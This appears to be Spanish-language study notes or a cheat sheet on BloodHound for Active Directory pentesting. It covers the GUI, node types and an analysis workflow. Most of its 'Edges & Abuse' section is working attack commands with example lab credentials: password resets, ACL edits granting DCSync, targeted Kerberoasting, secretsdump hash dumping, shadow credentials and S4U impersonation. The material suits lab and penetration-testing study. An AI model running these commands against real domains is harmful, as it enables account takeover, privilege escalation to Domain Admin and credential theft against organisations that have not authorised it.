BloodHound — Navigating the GUI
Área de grafos
Al iniciar sesión BloodHound ejecuta automáticamente la query Find all Domain Admins y muestra el resultado en el área de grafos. Aquí puedes mover nodos, hacer zoom con el scroll del mouse, y hacer clic en cualquier nodo para ver su información en el panel lateral.
Menú contextual al hacer clic derecho en un nodo
Set as Starting Node → establece este nodo como origen en pathfinding
Set as Ending Node → establece este nodo como destino en pathfinding
Shortest Paths to Here → encuentra todos los caminos más cortos hasta este nodo desde cualquier nodo
Shortest Paths to Here from Owned → rutas de ataque desde nodos marcados como owned
Edit Node → editar propiedades del nodo o agregar propiedades personalizadas
Mark as Owned → marcar el nodo como comprometido (útil con queries de owned)
Mark as High Value → marcar como objetivo de alto valor
Delete Node → eliminar el nodo de la base de datosMarcar nodos como Owned es importante porque habilita queries como Shortest paths to here from Owned que muestran exactamente qué rutas tienes disponibles con los accesos actuales.
Search Bar
# Buscar por nombre
peter
# Buscar por tipo de nodo
user:peter
group:domain
computer:ws01Tipos de nodo disponibles para AD: Group, Domain, Computer, User, OU, GPO, Container
Para Azure: AZApp, AZRole, AZDevice, AZGroup, AZKeyVault, AZManagementGroup, AZResourceGroup, AZServicePrincipal, AZSubscription, AZTenant, AZUser, AZVM
Pathfinding
Buscar ruta de ataque entre dos nodos:
- Buscar el nodo origen → clic derecho →
Set as Starting Node - Buscar el nodo destino → clic derecho →
Set as Ending Node - O usar el botón de pathfinding en la barra de búsqueda
Si la ruta usa un edge que quieres evitar (ejemplo: no quieres cambiar contraseñas con ForceChangePassword), usa el filtro de edges para excluirlo y BloodHound buscará un camino alternativo.
Menú superior derecho
Refresh → re-ejecuta la query anterior
Export Graph → guarda el grafo actual como JSON o PNG
Import Graph → carga un grafo exportado en JSON
Upload Data → sube archivos de SharpHound, BloodHound.py o AzureHound
Change Layout → alterna entre layout jerárquico y force-directed
Settings → ajustes de visualización y debug
About → versión y autoresAl subir datos BloodHound agrega lo nuevo pero ignora duplicados. Los zips con contraseña deben descomprimirse antes de subir.
Settings útiles
Node Collapse Threshold → colapsar nodos con una sola relación (default 5, 0 para desactivar)
Edge Label Display → cuándo mostrar etiquetas de edges (Always Display para verlos siempre)
Node Label Display → cuándo mostrar nombres de nodos
Query Debug Mode → muestra las queries Cypher en el Raw Query Box (útil para aprender)
Low Detail Mode → mejora performance en grafos grandes
Dark Mode → modo oscuroActivar Query Debug Mode es muy útil para ver qué query Cypher está ejecutando cada acción del GUI y aprender a construir las propias.
Shortcuts
CTRL → cicla entre los tres modos de display de etiquetas de nodos
Spacebar → abre el spotlight con todos los nodos del grafo actual
Backspace → vuelve al grafo anterior
S → expande/colapsa el panel de informaciónDatabase Info
Desde la pestaña Database Info puedes ver estadísticas de la base de datos y administrarla:
Clear Database → borrar todo (útil al empezar un nuevo assessment)
Clear Sessions → borrar solo las sesiones
Refresh DB Stats → actualizar estadísticas
Warming Up Database → cargar toda la DB en memoria para acelerar queriesBloodHound — Nodes
Tipos de nodos en AD
Users → usuarios que pueden autenticarse y acceder a recursos
Groups → colecciones lógicas de usuarios y computadoras con permisos asignados
Computers → dispositivos conectados al dominio
Domains → agrupación lógica de recursos con administración centralizada
GPOs → políticas que controlan configuraciones de usuarios y computadoras
OUs → contenedores para organizar y delegar administración granular
Containers → similar a OUs pero sin control administrativo, solo organizacionalSecciones del Node Info tab (comunes a todos los nodos)
Overview → información general del objeto
Node Properties → atributos por defecto del objeto
Extra Properties → atributos adicionales (más completo con --CollectAllProperties en SharpHound)
Group Membership → grupos de seguridad a los que pertenece
Local Admin Rights → hosts donde el objeto tiene admin local
Execution Rights → RDP, DCOM, SQL Admin, PSRemote sobre otros hosts
Outbound Object Control → permisos que tiene ESTE objeto sobre OTROS objetos del dominio
Inbound Control Rights → permisos que tienen OTROS objetos sobre ESTE objetoSecciones específicas por tipo de nodo
Users
Outbound Object Control y Inbound Control Rights son las más importantes para identificar rutas de ataque. Un usuario con GenericAll sobre otro usuario o grupo aparecerá aquí.
Computers
Local Admins → quién tiene admin local en esta computadora
Inbound Execution Rights → quién puede ejecutar comandos en esta computadora (RDP, DCOM, WinRM)
Outbound Execution Rights → sobre qué otras computadoras puede ejecutar este equipoGroups
Group Members → usuarios, grupos y computadoras miembros del grupo
Group Membership → en qué otros grupos está este grupo (membresía anidada)Domains
Foreign Members → usuarios o grupos de otro dominio con membresía en este dominio
Inbound Trusts → dominios que confían en este dominio
Outbound Trusts → dominios en los que este dominio confíaEn la sección Overview del dominio hay una opción Map OU Structure que muestra la estructura jerárquica completa del dominio de un vistazo.
OUs y Containers
Affecting GPOs → GPOs que se aplican a esta OU o container
Descendant Objects → todos los objetos dentro de esta OU (usuarios, grupos, computadoras)GPOs
Affected Objects → usuarios, grupos y computadoras afectados por esta GPO
Inbound Control Rights → quién tiene permisos de escritura sobre esta GPOCasos prácticos desde el GUI
Ver en qué computadoras un usuario es admin local
Buscar el usuario → Node Info → Local Admin Rights
Ver quién tiene admin local en una computadora específica
Buscar la computadora → Node Info → Local Admins
Ver quién puede conectarse por RDP a un host
Buscar la computadora → Node Info → Inbound Execution Rights → Remote Desktop Users
Ver qué GPOs afectan a una OU
Buscar la OU → Node Info → Affecting GPOs
Ver qué objetos afecta una GPO
Buscar la GPO → Node Info → Affected Objects
Ver qué OU contiene una computadora o usuario
Buscar el objeto → Node Info → Node Properties → distinguishedname El DN se lee de izquierda a derecha: el objeto primero, luego las OUs de más específica a más general.
Ver miembros foráneos de un dominio
Buscar el dominio → Node Info → Foreign Members
BloodHound - Edges & Abuse
Links: AdminTo | MemberOf | HasSession | ForceChangePassword | AddMembers | AddSelf | CanRDP | CanPSRemote | ExecuteDCOM | SQLAdmin | AllowedToDelegate | DCSync | GenericAll | GenericWrite | WriteOwner | WriteSPN | Owns | AddKeyCredentialLink | ReadLAPSPassword | ReadGMSAPassword | AllExtendedRights | AllowedToAct
Lista completa de edges en AD
- AdminTo
- MemberOf
- HasSession
- ForceChangePassword
- AddMembers
- AddSelf
- CanRDP
- CanPSRemote
- ExecuteDCOM
- SQLAdmin
- AllowedToDelegate
- DCSync
- GetChanges
- GetChangesAll
- GenericAll
- GenericWrite
- WriteOwner
- WriteSPN
- Owns
- AddKeyCredentialLink
- ReadLAPSPassword
- ReadGMSAPassword
- Contains
- AllExtendedRights
- GPLink
- AllowedToAct
- AddAllowedToAct
- WriteAccountRestrictions
Para ver cómo abusar cualquier edge desde el propio GUI: clic derecho sobre el edge en el grafo → Help → pestaña Abuse Info. También existe la pestaña Opsec Considerations para evaluar qué tan ruidoso es el ataque antes de ejecutarlo.
Nota general: con credenciales conocidas vs. shell ya obtenida
Casi todos los edges de abuso admiten dos escenarios distintos, y la mayoría de las secciones de este documento incluyen ambos:
- Con credenciales conocidas — se conoce la contraseña (o hash) del atacante y se ataca remotamente desde otra máquina (Windows con
-Credential, o Linux conusuario:passworden Impacket/net/bloodyAD). Es el escenario típico cuando se crackeó una contraseña o se filtró en algún archivo. - Shell ya obtenida (sin credenciales conocidas) — ya se tiene una sesión interactiva como el atacante (reverse shell, RDP, tarea programada comprometida, logon script envenenado, etc.), sin haber llegado a conocer su contraseña en texto plano. En este caso, ejecutar los mismos cmdlets sin
-Credentialfunciona igual, porque el token de la sesión de Windows autentica automáticamente todas las peticiones LDAP salientes.
Este segundo escenario es extremadamente común en la práctica: muchos vectores de compromiso inicial (phishing, explotación de un servicio, poisoning de un script) entregan una shell directamente, sin pasar nunca por conocer la contraseña real de la cuenta comprometida.
Cómo usar pathfinding para encontrar rutas de ataque
- Buscar el nodo origen en la barra de búsqueda
- Clic derecho → Set as Starting Node
- Buscar el nodo destino
- Clic derecho → Set as Ending Node
- BloodHound muestra el camino más corto
Si una ruta usa un edge que se quiere evitar, usar el filtro para excluirlo y BloodHound busca una ruta alternativa.
Abuso de edges — Comandos
ForceChangePassword
El usuario atacante tiene el derecho de resetear la contraseña de la víctima sin conocer la contraseña actual. Útil para tomar control de una cuenta y luego usarla para moverse lateralmente.
$SecPassword = ConvertTo-SecureString '<password_atacante>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', $SecPassword)
$UserPassword = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $UserPassword -Credential $Cred -Verbose
# Alternativa nativa (más ruidoso)
net user <objetivo> <nueva_password> /domain
# Ejemplo
$SecPassword = ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword -Identity test -AccountPassword $UserPassword -Credential $Cred -VerboseVariante sin credenciales conocidas (ya con shell como el atacante)
Si ya se tiene una sesión interactiva como el atacante (reverse shell, RDP, tarea programada comprometida, etc.) sin conocer su contraseña, no hace falta construir el objeto -Credential: el token de la sesión actual autentica automáticamente.
$UserPassword = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $UserPassword
# Ejemplo
$UserPassword = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword -Identity test -AccountPassword $UserPasswordCanRDP
El usuario tiene permisos para conectarse al host vía Remote Desktop. Permite obtener una sesión gráfica interactiva, lo que genera un TGT completo en memoria y habilita herramientas que fallan desde WinRM (por el problema del Double Hop).
xfreerdp /v:<IP> /u:<usuario> /p:<password>
# Ejemplo
xfreerdp /v:10.10.10.129 /u:seven /p:PasswordAD01CanPSRemote
El usuario puede conectarse al host vía WinRM (puerto 5985/5986). Permite ejecutar comandos remotamente, aunque con las limitaciones del Double Hop que no genera TGT.
evil-winrm -i <IP> -u <usuario> -p <password>
# Ejemplo
evil-winrm -i 10.10.10.129 -u seven -p PasswordAD01# Desde Windows
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<usuario>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Enter-PSSession -ComputerName <host> -Credential $Cred
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Enter-PSSession -ComputerName SRV01 -Credential $CredAdminTo
El usuario es administrador local en ese host. Permite ejecutar comandos como admin, dumpear credenciales con Mimikatz, leer la SAM, y moverse lateralmente desde ese host.
psexec.py DOMAIN/<usuario>:<password>@<IP>
wmiexec.py DOMAIN/<usuario>:<password>@<IP>
evil-winrm -i <IP> -u <usuario> -p <password>
# Ejemplo
psexec.py DOMAIN/seven:PasswordAD01@10.10.10.129AddMembers
El usuario tiene permisos para agregar otros usuarios al grupo objetivo. Permite agregarse a sí mismo o a cualquier otra cuenta comprometida y heredar todos sus privilegios.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Credential $Cred -Verbose
Get-DomainGroupMember -Identity '<grupo>'
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'test' -Credential $Cred -VerboseVariante sin credenciales conocidas (ya con shell como el atacante)
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Verbose
# Ejemplo
Add-DomainGroupMember -Identity 'ITManagers' -Members 'test' -VerboseAddSelf
Similar a AddMembers pero el usuario solo puede agregarse a sí mismo al grupo, no a otros usuarios. Permite heredar los privilegios del grupo con solo una cuenta comprometida.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Add-DomainGroupMember -Identity '<grupo>' -Members '<atacante>' -Credential $Cred -Verbose
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'seven' -Credential $Cred -VerboseVariante sin credenciales conocidas (ya con shell como el atacante)
Add-DomainGroupMember -Identity '<grupo>' -Members '<atacante>' -Verbose
# Ejemplo
Add-DomainGroupMember -Identity 'ITManagers' -Members 'seven' -VerboseGenericAll sobre usuario
Es el derecho más amplio posible sobre un objeto. El atacante tiene control total sobre la cuenta víctima: puede cambiar su contraseña, asignarle un SPN para Kerberoasting, quitarle la pre-autenticación para ASREPRoasting, o modificar cualquier atributo.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
# Opción 1 - Cambiar contraseña (destructivo)
$NewPass = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $NewPass -Credential $Cred -Verbose
# Opción 2 - SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
# Cleanup
Set-DomainObject -Credential $Cred -Identity <objetivo> -Clear serviceprincipalname -Verbose
# Opción 3 - Deshabilitar pre-auth para ASREPRoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity <objetivo> -XOR @{useraccountcontrol=4194304} -Verbose
.\Rubeus.exe asreproast /user:<objetivo> /nowrap
# Ejemplo (Opción 2)
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Set-DomainObject -Credential $Cred -Identity test -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:test /nowrap
Set-DomainObject -Credential $Cred -Identity test -Clear serviceprincipalname -VerboseVariante sin credenciales conocidas (ya con shell como el atacante)
Este es exactamente el caso real cuando se obtiene una shell mediante un vector como un logon script poisoning, sin necesitar la contraseña del atacante para actuar remotamente — el token de la sesión actual autentica automáticamente todas las peticiones LDAP:
# Opción 1 - Cambiar contraseña (destructivo)
$NewPass = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $NewPass
# Opción 2 - SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
Set-DomainObject -Identity <objetivo> -Clear serviceprincipalname -Verbose
# Ejemplo (Opción 1) — igual al caso donde no se conocen las credenciales de la cuenta atacante
$NewPass = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword -Identity test -AccountPassword $NewPassGenericAll sobre grupo
Control total sobre el grupo. Permite agregar cualquier usuario y heredar sus privilegios.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Credential $Cred -Verbose
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITAdmins' -Members 'test' -Credential $Cred -VerboseVariante sin credenciales conocidas (ya con shell como el atacante)
Add-DomainGroupMember -Identity '<grupo>' -Members '<usuario_a_agregar>' -Verbose
# Ejemplo
Add-DomainGroupMember -Identity 'ITAdmins' -Members 'test' -VerboseGenericWrite
El atacante puede modificar atributos no protegidos del objeto víctima, pero no tiene control total. El abuso más común es asignar un SPN falso para Kerberoasting dirigido.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Set-DomainObject -Credential $Cred -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# Cleanup
Set-DomainObject -Credential $Cred -Identity <objetivo> -Clear serviceprincipalname -Verbose
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Set-DomainObject -Credential $Cred -Identity test -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:test /nowrapVariante sin credenciales conocidas (ya con shell como el atacante)
Set-DomainObject -Identity <objetivo> -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:<objetivo> /nowrap
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Set-DomainObject -Identity <objetivo> -Clear serviceprincipalname -Verbose
# Ejemplo
Set-DomainObject -Identity test -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:test /nowrapWriteDACL
El atacante puede modificar la ACL del objeto víctima, otorgándose a sí mismo o a otra cuenta cualquier derecho, incluyendo GenericAll o DCSync sobre el dominio.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
# Otorgarse GenericAll sobre un usuario
Add-DomainObjectAcl -Credential $Cred -TargetIdentity <objetivo> -PrincipalIdentity <atacante> -Rights All -Verbose
# Otorgarse DCSync sobre el dominio
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=DOMAIN,DC=local" -PrincipalIdentity <atacante> -Rights DCSync -Verbose
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Add-DomainObjectAcl -Credential $Cred -TargetIdentity test -PrincipalIdentity seven -Rights All -VerboseVariante sin credenciales conocidas (ya con shell como el atacante)
# Otorgarse GenericAll sobre un usuario
Add-DomainObjectAcl -TargetIdentity <objetivo> -PrincipalIdentity <atacante> -Rights All -Verbose
# Otorgarse DCSync sobre el dominio
Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=local" -PrincipalIdentity <atacante> -Rights DCSync -Verbose
# Ejemplo
Add-DomainObjectAcl -TargetIdentity test -PrincipalIdentity seven -Rights All -VerboseWriteOwner
El atacante puede cambiar el propietario del objeto víctima. El propietario tiene control implícito sobre él. Flujo: tomar propiedad → otorgarse GenericAll → abusar el objeto.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
# Paso 1 - Tomar propiedad del objeto
Set-DomainObjectOwner -Credential $Cred -Identity <objetivo> -OwnerIdentity <atacante> -Verbose
# Paso 2 - Otorgarse GenericAll
Add-DomainObjectAcl -Credential $Cred -TargetIdentity <objetivo> -PrincipalIdentity <atacante> -Rights All -Verbose
# Paso 3 - Abusar el GenericAll (ejemplo: cambiar contraseña)
$NewPass = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword -Identity <objetivo> -AccountPassword $NewPass -Credential $Cred -Verbose
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Set-DomainObjectOwner -Credential $Cred -Identity test -OwnerIdentity seven -Verbose
Add-DomainObjectAcl -Credential $Cred -TargetIdentity test -PrincipalIdentity seven -Rights All -VerboseVariante sin credenciales conocidas (ya con shell como el atacante)
Este es un caso muy común en la práctica: se compromete una cuenta mediante un vector que entrega una shell interactiva (por ejemplo, envenenando un logon script en SYSVOL para obtener una reverse shell), sin llegar a conocer nunca la contraseña de esa cuenta en texto plano. Como la shell ya corre con el token de esa cuenta, no hace falta -Credential en ningún paso — PowerView usa automáticamente la sesión actual para autenticar contra LDAP.
# Ya en una shell PowerShell como el atacante (reverse shell, tarea programada, etc.)
Import-Module .\PowerView.ps1
# Paso 1 - Otorgarse todos los derechos sobre el objetivo, sin pasar -Credential
Add-DomainObjectAcl -Rights all -TargetIdentity <objetivo> -PrincipalIdentity <atacante>
# Paso 2 - Resetear la contraseña del objetivo con el control recién obtenido
$cred = ConvertTo-SecureString '<nueva_password>' -AsPlainText -Force
Set-DomainUserPassword <objetivo> -AccountPassword $cred
# Ejemplo (caso: cuenta objetivo user_ADM, atacante sin credenciales conocidas)
Add-DomainObjectAcl -Rights all -TargetIdentity user_ADM -PrincipalIdentity <atacante>
$cred = ConvertTo-SecureString 'Summer2024!' -AsPlainText -Force
Set-DomainUserPassword user_ADM -AccountPassword $credValidar las credenciales resultantes:
netexec smb <IP_DC> -u user_ADM -p 'Summer2024!'Nota: Este flujo funciona incluso cuando el objetivo (
user_ADMen el ejemplo) es una cuenta de servicio con privilegios adicionales (por ejemplo, administración de GPOs), lo cual puede escalar aún más el impacto — desde resetear su contraseña, hasta modificar una GPO que aplica a un grupo privilegiado como Administrators.
Equivalente completo desde Linux (con credenciales conocidas)
Cuando sí se conocen las credenciales del atacante y se está atacando remotamente desde Linux, el flujo completo usa owneredit.py + dacledit.py:
# Paso 1 - Tomar ownership del objetivo
impacket-owneredit -action write -new-owner '<atacante>' -target-dn 'CN=<objetivo>,CN=Users,DC=domain,DC=local' 'domain.local'/'<atacante>':'<password>' -dc-ip <IP_DC>
# Paso 2 - Otorgarse FullControl
impacket-dacledit -action 'write' -rights 'FullControl' -principal '<atacante>' -target-dn 'CN=<objetivo>,CN=Users,DC=domain,DC=local' 'domain.local'/'<atacante>':'<password>' -dc-ip <IP_DC>
# Paso 3 - Abusar el control (ejemplo: cambiar contraseña con net rpc)
net rpc password <objetivo> '<nueva_password>' -U domain.local/<atacante>%'<password>' -S <IP_DC>
# Ejemplo
impacket-owneredit -action write -new-owner 'seven' -target-dn 'CN=test,CN=Users,DC=domain,DC=local' 'domain.local'/'seven':'PasswordAD01' -dc-ip 10.10.10.129
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'seven' -target-dn 'CN=test,CN=Users,DC=domain,DC=local' 'domain.local'/'seven':'PasswordAD01' -dc-ip 10.10.10.129
net rpc password test 'Summer2024!' -U domain.local/seven%'PasswordAD01' -S 10.10.10.129Alternativa con bloodyAD (Linux)
bloodyAD combina en un solo comando lo que owneredit.py/dacledit.py hacen por separado, para operaciones simples como agregar miembros o cambiar contraseñas:
# Agregar el atacante a un grupo (ej: tras WriteOwner sobre un grupo)
bloodyAD --host "<IP_DC>" -d "domain.local" -u "<atacante>" -p '<password>' add groupMember "<grupo>" "<atacante>"
# Cambiar contraseña de un usuario objetivo
bloodyAD --host "<IP_DC>" -d "domain.local" -u "<atacante>" -p '<password>' set password "<objetivo>" "<nueva_password>"
# Ejemplo
bloodyAD --host "10.10.10.129" -d "domain.local" -u "seven" -p "PasswordAD01" add groupMember "Domain Admins" "seven"
bloodyAD --host "10.10.10.129" -d "domain.local" -u "seven" -p "PasswordAD01" set password "test" "Summer2024!"WriteOwner sobre un grupo (agregar miembros tras tomar control)
Cuando el objetivo del WriteOwner es un grupo (por ejemplo, Domain Admins) en vez de un usuario, el abuso final cambia de "cambiar contraseña" a "agregarse como miembro":
# Con credenciales conocidas
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Set-DomainObjectOwner -Identity '<grupo>' -OwnerIdentity '<atacante>' -Credential $Cred
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "<grupo>" -PrincipalIdentity "<atacante>" -Credential $Cred
# Sin credenciales conocidas (shell ya obtenida)
Set-DomainObjectOwner -Identity '<grupo>' -OwnerIdentity '<atacante>'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "<grupo>" -PrincipalIdentity "<atacante>"
# Ejemplo (sin credenciales)
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'seven'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "seven"Agregarse al grupo con el nuevo control (nativo, sin PowerView):
net group "<grupo>" <atacante> /add /domain
:: Ejemplo
net group "Domain Admins" seven /add /domainEquivalente desde Linux con net rpc o bloodyAD:
net rpc group addmem "<grupo>" <atacante> -U domain.local/<atacante>%'<password>' -S <IP_DC>
bloodyAD --host "<IP_DC>" -d "domain.local" -u "<atacante>" -p '<password>' add groupMember "<grupo>" "<atacante>"
# Ejemplo
net rpc group addmem "Domain Admins" seven -U domain.local/seven%'PasswordAD01' -S 10.10.10.129DCSync
El usuario tiene los derechos de replicación sobre el dominio (DS-Replication-Get-Changes y DS-Replication-Get-Changes-All). Permite simular ser un Domain Controller y solicitar al DC que replique los hashes de cualquier cuenta, incluyendo Administrator y KRBTGT.
secretsdump.py DOMAIN/<atacante>:<password>@<IP_DC>
# Solo el Administrator
secretsdump.py -just-dc-user DOMAIN/administrator DOMAIN/<atacante>:<password>@<IP_DC>
# Ejemplo
secretsdump.py DOMAIN/seven:PasswordAD01@10.10.10.129mimikatz # lsadump::dcsync /user:DOMAIN\administrator /domain:domain.localReadLAPSPassword
LAPS genera contraseñas aleatorias para el administrador local de cada host y las guarda en el atributo ms-mcs-admpwd del objeto computer. Este edge indica que el usuario puede leer ese atributo.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Get-DomainComputer <computadora> -Credential $Cred -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Get-DomainComputer LAPS01 -Credential $Cred -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtimeVariante sin credenciales conocidas (ya con shell como el atacante)
Get-DomainComputer <computadora> -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Ejemplo
Get-DomainComputer LAPS01 -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtimeReadGMSAPassword
Las gMSA tienen contraseñas gestionadas automáticamente por AD. Este edge indica que el usuario puede leer esa contraseña del atributo msds-ManagedPassword.
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<atacante>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Get-DomainObject <gmsa> -Credential $Cred -Properties msds-ManagedPassword
# Ejemplo
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\seven', (ConvertTo-SecureString 'PasswordAD01' -AsPlainText -Force))
Get-DomainObject svc_devadm -Credential $Cred -Properties msds-ManagedPasswordVariante sin credenciales conocidas (ya con shell como el atacante)
Get-DomainObject <gmsa> -Properties msds-ManagedPassword
# Ejemplo
Get-DomainObject svc_devadm -Properties msds-ManagedPasswordAddKeyCredentialLink — Shadow Credentials
El atacante puede modificar el atributo msDS-KeyCredentialLink del objeto víctima. Permite agregar una clave de certificado y usarla para obtener un TGT de la víctima sin conocer su contraseña. Es un ataque sigiloso porque no modifica la contraseña ni atributos obvios.
# Agregar credencial al objeto víctima (PyWhisker)
python3 pywhisker.py -d domain.local -u <atacante> -p '<password>' --target <objetivo> --action add
# Usar el certificado generado para pedir TGT del objetivo
python3 gettgtpkinit.py domain.local/<objetivo> -pfx-base64 <base64> <objetivo>.ccache
export KRB5CCNAME=<objetivo>.ccache
# Con el TGT del objetivo, hacer DCSync u otra acción
secretsdump.py -k -no-pass domain.local/<objetivo>@<IP_DC>
# Ejemplo
python3 pywhisker.py -d domain.local -u seven -p 'PasswordAD01' --target test --action addAllowedToDelegate — Constrained Delegation
La cuenta tiene permisos para impersonar a cualquier usuario al autenticarse a un servicio específico. Permite pedir tickets en nombre del Administrator u otro usuario privilegiado.
# Pedir TGT para la cuenta con delegación
.\Rubeus.exe asktgt /user:<cuenta_con_delegacion> /password:<password> /domain:domain.local /ptt
# S4U2Self + S4U2Proxy para impersonar al Administrator
.\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/<host> /ptt
# Acceder al servicio como Administrator
ls \\<host>\c$
# Ejemplo
.\Rubeus.exe asktgt /user:test /password:PasswordAD01 /domain:domain.local /ptt
.\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/SRV01 /pttAllExtendedRights
El usuario tiene todos los derechos extendidos sobre el objeto. Dependiendo del tipo de objeto, permite cambiar contraseñas, leer atributos protegidos (LAPS, gMSA), o ejecutar DCSync. Equivale funcionalmente a tener GenericAll en la práctica.
BloodHound — Analyzing BloodHound Data
Flujo de análisis recomendado
1. Empezar con el dominio
Buscar: domain:DOMAIN.localMuestra el resumen del dominio: cantidad de usuarios, grupos, computadoras, OUs, GPOs y el nivel funcional. El nivel funcional da una idea de la antigüedad del entorno y posibles vulnerabilidades legacy.
2. Revisar el grupo Domain Users
Todo usuario del dominio hereda los derechos de Domain Users. Si este grupo tiene algún permiso interesante, todos los usuarios lo tienen.
Buscar: group:Domain Users
→ Outbound Object Control → Transitive Object ControlMuestra todos los objetos sobre los que Domain Users tiene control, incluyendo rutas encadenadas.
3. Buscar ruta de Domain Users a Domain Admins
Pathfinding:
Origen: DOMAIN USERS@DOMAIN.local
Destino: DOMAIN ADMINS@DOMAIN.localSi no hay ruta directa, no todos los usuarios tienen camino a DA. Si hay ruta, es una misconfiguration crítica.
4. Revisar los Domain Admins
Buscar: group:Domain Admins
→ Group Members (directos y unrolled por membresía anidada)
→ Sessions (hosts donde hay un DA conectado actualmente)Pre-Built Analytics Queries más importantes
Desde la pestaña Analysis en el GUI:
Find All Domain Admins → lista completa de DAs directos y anidados
Find Shortest Paths to Domain Admins → todas las rutas posibles hacia DA
Find Principals with DCSync Rights → cuentas que pueden hacer DCSync
